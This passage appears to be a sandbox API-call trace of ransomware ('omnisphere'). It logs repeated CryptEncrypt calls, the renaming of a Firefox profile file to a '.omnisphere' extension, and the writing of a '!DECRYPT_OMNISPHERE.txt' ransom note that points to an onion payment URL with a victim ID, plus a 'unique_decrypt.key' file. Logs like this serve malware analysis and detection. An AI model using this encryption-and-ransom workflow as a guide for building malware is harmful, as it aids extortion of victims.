hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.104] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.104] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.104] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.104] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.104] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.104] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.105] CryptDestroyKey (hKey=0x1639768) returned 1 [0162.105] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0162.105] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x1df, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c8cc | out: lpNewFilePointer=0x0) returned 1 [0162.106] WriteFile (in: hFile=0x388, lpBuffer=0x3e0c380*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c8e0, lpOverlapped=0x0 | out: lpBuffer=0x3e0c380*, lpNumberOfBytesWritten=0x3e0c8e0*=0x524, lpOverlapped=0x0) returned 1 [0162.107] GetProcessHeap () returned 0x1600000 [0162.107] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2fe) returned 0x174db00 [0162.107] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\license.txt"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\license.txt.omnisphere")) returned 1 [0162.108] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt.omnisphere.id" [0162.108] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\license.txt.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.109] WriteFile (in: hFile=0x398, lpBuffer=0x3e0c380*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c368, lpOverlapped=0x0 | out: lpBuffer=0x3e0c380*, lpNumberOfBytesWritten=0x3e0c368*=0x524, lpOverlapped=0x0) returned 1 [0162.110] CloseHandle (hObject=0x398) returned 1 [0162.110] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0162.110] CloseHandle (hObject=0x3b4) returned 1 [0162.110] SetEndOfFile (hFile=0x388) returned 1 [0162.110] FlushFileBuffers (hFile=0x388) returned 1 [0162.113] CloseHandle (hObject=0x388) returned 1 [0162.113] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903") returned 1 [0162.113] GetProcessHeap () returned 0x1600000 [0162.113] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174de08 [0162.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0162.113] GetProcessHeap () returned 0x1600000 [0162.113] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1734378 [0162.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1734378, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0162.113] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0162.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0162.113] GetProcessHeap () returned 0x1600000 [0162.113] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726838 [0162.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726838, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0162.114] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0162.114] GetProcessHeap () returned 0x1600000 [0162.114] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x106) returned 0x174bb50 [0162.114] PathCombineW (in: pszDest=0x174bb50, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\!DECRYPT_OMNISPHERE.txt" [0162.114] GetProcessHeap () returned 0x1600000 [0162.114] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17404d8 [0162.114] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0162.114] WriteFile (in: hFile=0x388, lpBuffer=0x17404d8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0c900, lpOverlapped=0x0 | out: lpBuffer=0x17404d8*, lpNumberOfBytesWritten=0x3e0c900*=0x588, lpOverlapped=0x0) returned 1 [0162.115] CloseHandle (hObject=0x388) returned 1 [0162.115] GetProcessHeap () returned 0x1600000 [0162.115] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174de08 | out: hHeap=0x1600000) returned 1 [0162.115] GetProcessHeap () returned 0x1600000 [0162.116] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfc) returned 0x174de08 [0162.116] PathCombineW (in: pszDest=0x174de08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\unique_decrypt.key" [0162.116] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0162.116] WriteFile (in: hFile=0x388, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0c914, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0c914*=0x5a0, lpOverlapped=0x0) returned 1 [0162.117] CloseHandle (hObject=0x388) returned 1 [0162.117] GetProcessHeap () returned 0x1600000 [0162.117] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174de08 | out: hHeap=0x1600000) returned 1 [0162.117] GetProcessHeap () returned 0x1600000 [0162.117] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174d8d8 | out: hHeap=0x1600000) returned 1 [0162.117] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b6f737, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7c375100, ftLastAccessTime.dwHighDateTime=0x1d1deb2, ftLastWriteTime.dwLowDateTime=0x7c375100, ftLastWriteTime.dwHighDateTime=0x1d1deb2, nFileSizeHigh=0x0, nFileSizeLow=0x15c, dwReserved0=0x0, dwReserved1=0xab, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0162.117] GetProcessHeap () returned 0x1600000 [0162.117] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf2) returned 0x174d8d8 [0162.117] PathCombineW (in: pszDest=0x174d8d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903", pszFile="manifest.json" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json" [0162.118] StrStrW (lpFirst=".omnisphere", lpSrch=".json") returned 0x0 [0162.118] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0162.118] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3e0c8d8 | out: lpFileSize=0x3e0c8d8*=348) returned 1 [0162.118] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.119] GetTickCount () returned 0x116843b [0162.120] GetTickCount () returned 0x116843b [0162.120] GetTickCount () returned 0x116843b [0162.120] GetTickCount () returned 0x116843b [0162.120] CryptAcquireContextW (in: phProv=0x3e0c360, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c360*=0x1668df0) returned 1 [0162.121] CryptImportKey (in: hProv=0x1668df0, pbData=0x3e0c2c8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c36c | out: phKey=0x3e0c36c*=0x16395e8) returned 1 [0162.121] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0c818*, pdwDataLen=0x3e0c35c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0c818*, pdwDataLen=0x3e0c35c*=0x80) returned 1 [0162.121] CryptDestroyKey (hKey=0x16395e8) returned 1 [0162.121] CryptReleaseContext (hProv=0x1668df0, dwFlags=0x0) returned 1 [0162.121] CreateFileMappingW (hFile=0x388, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15c, lpName=0x0) returned 0x3b4 [0162.121] MapViewOfFile (hFileMappingObject=0x3b4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15c) returned 0x1480000 [0162.121] CryptAcquireContextW (in: phProv=0x3e0c350, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c350*=0x1668ac0) returned 1 [0162.122] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0c308, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c360 | out: phKey=0x3e0c360*=0x1639868) returned 1 [0162.122] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0c344*=0x2, dwFlags=0x0) returned 1 [0162.122] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c34c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c34c*=0x10) returned 1 [0162.122] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.122] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.122] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.122] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.122] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.122] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.122] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.122] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.122] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.123] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.123] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.123] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.123] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.123] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.123] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.123] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.123] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.123] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.123] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.123] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.123] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.123] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.123] CryptDestroyKey (hKey=0x1639868) returned 1 [0162.123] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0162.123] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x15c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c8cc | out: lpNewFilePointer=0x0) returned 1 [0162.123] WriteFile (in: hFile=0x388, lpBuffer=0x3e0c380*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c8e0, 